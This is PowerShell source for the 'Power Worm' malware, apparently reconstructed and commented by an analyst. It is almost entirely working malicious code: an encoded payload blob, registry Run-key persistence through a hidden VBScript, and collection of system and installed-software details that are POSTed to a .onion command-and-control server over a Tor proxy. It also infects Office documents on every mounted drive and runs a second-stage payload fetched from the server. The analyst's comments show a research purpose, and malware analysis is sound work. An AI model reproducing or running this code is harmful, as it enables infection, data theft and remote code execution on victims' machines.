AdAAgACQARQB4AGMAZQBsAE0AYQBjAHIAbwAgACQARQB4AGMAZQBsACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAgACAAIAAgACAAIAAgACAAIAB9ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAGUAeABjAGUAbAAgAHwAIAA/ACAAewAgACQAXwAuAE0AYQBpAG4AVwBpAG4AZABvAHcASABhAG4AZABsAGUAIAAtAGUAcQAgADAAIAB9ACAAfAAgAFMAdABvAHAALQBQAHIAbwBjAGUAcwBzACAAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHcAaQBuAHcAbwByAGQAIAB8ACAAPwAgAHsAIAAkAF8ALgBNAGEAaQBuAFcAaQBuAGQAbwB3AEgAYQBuAGQAbABlACAALQBlAHEAIAAwACAAfQAgAHwAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgACAAIAAgACAAfQAgAH0AIAAgAGYAdQBuAGMAdABpAG8AbgAgAFMAdABhAHIAdAAtAE4AZQB3AEQAcgBpAHYAZQBJAG4AZgBlAGMAdABpAG8AbgAgAHsAIAAgACAAIAAgACQATgBlAHcARAByAGkAdgBlAEEAZABkAGUAZABBAGMAdABpAG8AbgAgAD0AIAB7ACAAIAAgACAAIAAgACAAIAAgACQARAByAGkAdgBlAEwAZQB0AHQAZQByACAAPQAgACQARQB2AGUAbgB0AEEAcgBnAHMALgBOAGUAdwBFAHYAZQBuAHQALgBUAGEAcgBnAGUAdABJAG4AcwB0AGEAbgBjAGUALgBDAGEAcAB0AGkAbwBuACAAKwAgACcAXAAnACAAIAAgACAAIAAgACAAIAAgAFMAdABhAHIAdAAtAEoAbwBiACAALQBTAGMAcgBpAHAAdABCAGwAbwBjAGsAIAB7ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABEAHIAaQB2AGUATABlAHQAdABlAHIAIAA9ACAAJABhAHIAZwBzAFsAMABdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABNAGEAYwBoAGkAbgBlAEcAdQBpAGQAIAA9ACAAJABhAHIAZwBzAFsAMQBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAjACAARwBlAHQAIAB0AGgAZQAgAGMAbwBuAHQAZQBuAHQAcwAgAG8AZgAgAHQAaABlACAAcwB0AGEAZwBlACAAMQAgAHAAYQB5AGwAbwBhAGQAIAAoAGkALgBlAC4AIAB0AGgAaQBzACAAcwBjAHIAaQBwAHQAKQAgAGYAcgBvAG0AIAB0AGgAZQAgAHIAZQBnAGkAcwB0AHIAeQAgAHcAaABlAHIAZQAgAGkAcwAgAHcAYQBzACAAcwBhAHYAZQBkACAAdQBwAG8AbgAgAGkAbgBpAHQAaQBhAGwAIABpAG4AZgBlAGMAdABpAG8AbgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAUwB0AGEAZwBlADEAUABhAHkAbABvAGEAZABFAG4AYwBvAGQAZQBkACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAEgASwBDAFUAOgBcAFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAKQAuACgAJABNAGEAYwBoAGkAbgBlAEcAdQBpAGQAIAArACAAJwAxACcAKQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAUwB0AGEAZwBlADEAUABhAHkAbABvAGEAZABCAHkAdABlAHMAIAA9ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAFMAdABhAGcAZQAxAFAAYQB5AGwAbwBhAGQARQBuAGMAbwBkAGUAZAApACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABTAHQAYQBnAGUAMQBQAGEAeQBsAG8AYQBkACAAPQAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAFMAdABhAGcAZQAxAFAAYQB5AGwAbwBhAGQAQgB5AHQAZQBzACkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAUwB0AGEAZwBlADEAUABhAHkAbABvAGEAZAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASQBuAHYAbwBrAGUALQBPAGYAZgBpAGMAZQBEAG8AYwBJAG4AZgBlAGMAdABpAG8AbgAoACQARAByAGkAdgBlAEwAZQB0AHQAZQByACkAIAAgACAAIAAgACAAIAAgACAAfQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAkAEQAcgBpAHYAZQBMAGUAdAB0AGUAcgAsACAAJABNAGEAYwBoAGkAbgBlAEcAdQBpAGQAIAAgACAAIAAgAH0AIAAgACAAIAAgACAAIwAgAFIAZQBnAGkAcwB0AGUAcgAgAGEAbgAgAGUAdgBlAG4AdAAgAGYAbwByACAAdwBoAGUAbgAgAGEAIABuAGUAdwAgAGQAaQBzAGsAIABhAHAAcABlAGEAcgBzACAALQAgAGUALgBnAC4AIABhACAAVQBTAEIAIABlAHgAdABlAHIAbgBhAGwAIABoAGEAcgBkACAAZAByAGkAdgBlACAAaQBzACAAYQB0AHQAYQBjAGgAZQBkACAAIAAgACAAIABSAGUAZwBpAHMAdABlAHIALQBXAG0AaQBFAHYAZQBuAHQAIAAtAFEAdQBlAHIAeQAgACIAUwBlAGwAZQBjAHQAIAAqACAAZgByAG8AbQAgAF8AXwBJAG4AcwB0AGEAbgBjAGUAQwByAGUAYQB0AGkAbwBuAEUAdgBlAG4AdAAgAHcAaQB0AGgAaQBuACAANQAgAHcAaABlAHIAZQAgAHQAYQByAGcAZQB0AGkAbgBzAHQAYQBuAGMAZQAgAGkAcwBhACAAJwB3AGkAbgAzADIAXwBsAG8AZwBpAGMAYQBsAGQAaQBzAGsAJwAiACAALQBBAGMAdABpAG8AbgAgACQATgBlAHcARAByAGkAdgBlAEEAZABkAGUAZABBAGMAdABpAG8AbgAgAH0A'

# The machine GUID is used throughout Power Worm
$MachineGuid = (Get-WmiObject Win32_ComputerSystemProduct).UUID

$Newline = [Environment]::NewLine

$VBScriptPayload = 'Dim ObjShell' + $Newline + 'Set ObjShell = CreateObject("Wscript.Shell")' +
                   $Newline + 'ObjShell.Run "powershell.exe -noexit -encodedcommand ' +
                   $EncodedPayload2 + '", 0'

$VBScriptPayloadPath = $Env:APPDATA + '\' + $MachineGuid + '\' + $MachineGuid + '.vbs'
$VBScriptStarter = 'wscript.exe "' + $VBSPayloadPath + '"'
Set-Content -Path $VBScriptPayloadPath -Value $VBScriptPayload

# Persist Power Worm to the registry
try {Set-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name $MachineGuid -Value $VBScriptStarter} catch {}

# Save additional payloads to the registry
try {Set-ItemProperty HKCU:\Software\Microsoft -Name ($MachineGuid + '0') -Value $EncodedPayload1} catch {}
try {Set-ItemProperty HKCU:\Software\Microsoft -Name ($MachineGuid + '1') -Value $EncodedPayload3} catch {}

$WebClient = New-Object Net.WebClient
$GeographicRegion = $WebClient.DownloadString('http://freegeoip.net/json/')
if(!$GeographicRegion) { $GeographicRegion = 0 }
$IsAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
$OperatingSystem = Get-WmiObject Win32_OperatingSystem
$ComputerSystem = Get-WmiObject Win32_computersystem
$InstalledSoftware = Get-WmiObject -Class Win32_Product
$OSVersion = $OperatingSystem.Version
$OSArchitecture = $OperatingSystem.OSArchitecture
$Domain = $ComputerSystem.Domain
$IsDomainJoined = $ComputerSystem.PartOfDomain
$CultureInfo = [Globalization.Cultureinfo]::GetCultureInfo([Int] $OperatingSystem.OSLanguage).Name

try
{
    (New-Object -ComObject Word.Application) | % {
        [Int] $MSWordVersion = $_.Version
        $_.Quit()
    }
} catch {[Int] $MSWordVersion = 0}

# Required for URL encoding
[Reflection.Assembly]::LoadWithPartialName('System.Web') | Out-Null

foreach ($SoftwarePackage in $InstalledSoftware)
{
    $SoftwareProduct += $SoftwarePackage.Name + '|' + $SoftwarePackage.Version + '||'
}

function Get-URLEncoding($um)
{
    return [Web.HttpUtility]::UrlEncode($um)
}

$SystemInfo = 'geodata=' + (Get-URLEncoding($GeographicRegion)) +
              '&language=' + (Get-URLEncoding($CultureInfo)) +
              '&isadmin=' + $IsAdmin +
              '&win_version=' + (Get-URLEncoding($OSVersion)) +
              '&domain=' + (Get-URLEncoding($Domain)) +
              '&indomain=' + $IsDomainJoined +
              '&os_arch=' + (Get-URLEncoding($OSArchitecture))  +
              '&office_version=' + (Get-URLEncoding($MSWordVersion)) +
              '&softlist=' + (Get-URLEncoding($SoftwareProduct))

$PostRequestUri = 'http://REDACTEDREDACTED.onion/get.php?s=setinfo&uid=' + $MachineGuid
$SystemInfoBytes = [Text.Encoding]::ASCII.GetBytes($SystemInfo)
[Net.HttpWebRequest] $WebRequest = [Net.WebRequest]::Create($PostRequestUri)

$WebProxy = New-Object Net.WebProxy('localhost:8123')
$WebProxy.UseDefaultCredentials = $True
$WebRequest.Proxy = $WebProxy
$WebRequest.Method = 'POST'
$WebRequest.ServicePoint.Expect100Continue = $False
$WebRequest.ContentType = 'application/x-www-form-urlencoded'
$WebRequest.ContentLength = $SystemInfoBytes.Length
$RequestStream = $WebRequest.GetRequestStream()
$RequestStream.Write($SystemInfoBytes, 0, $SystemInfoBytes.Length)
$RequestStream.Flush()
$RequestStream.Close()
$WebResponse = $null

while (!$WebResponse)
{
    [Net.HttpWebResponse] $WebResponse = $WebRequest.GetResponse()
}

$ResponseStream = $WebResponse.GetResponseStream()
$Stream = new-object IO.StreamReader($ResponseStream)
$Stage2Payload = $Stream.ReadToEnd()
$ResponseStream.Close()
$Stream.Close()
$WebResponse.Close()

# Get currently mounted drives
$MountedDrives = Get-PSDrive | ? { $_.Free } | Sort-Object -Descending

# Infect every existing Office document with $EncodedPayload3
if ($MountedDrives)
{
    Invoke-Expression ([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($EncodedPayload3)))

    foreach ($Drive in $MountedDrives)
    {
        Invoke-OfficeDocInfection ($Drive.Root)
    }
}

# These functions are implemented in $EncodedPayload3
Start-ExistingDriveInfection
Start-NewDriveInfection

# In my analysis, I was never able to coax the C2 server into providing a stage 2 payload.
if ($Stage2Payload -and ($Stage2Payload -ne 'none'))
{
    # Execute the stage 2 payload
    Invoke-Expression $Stage2Payload
}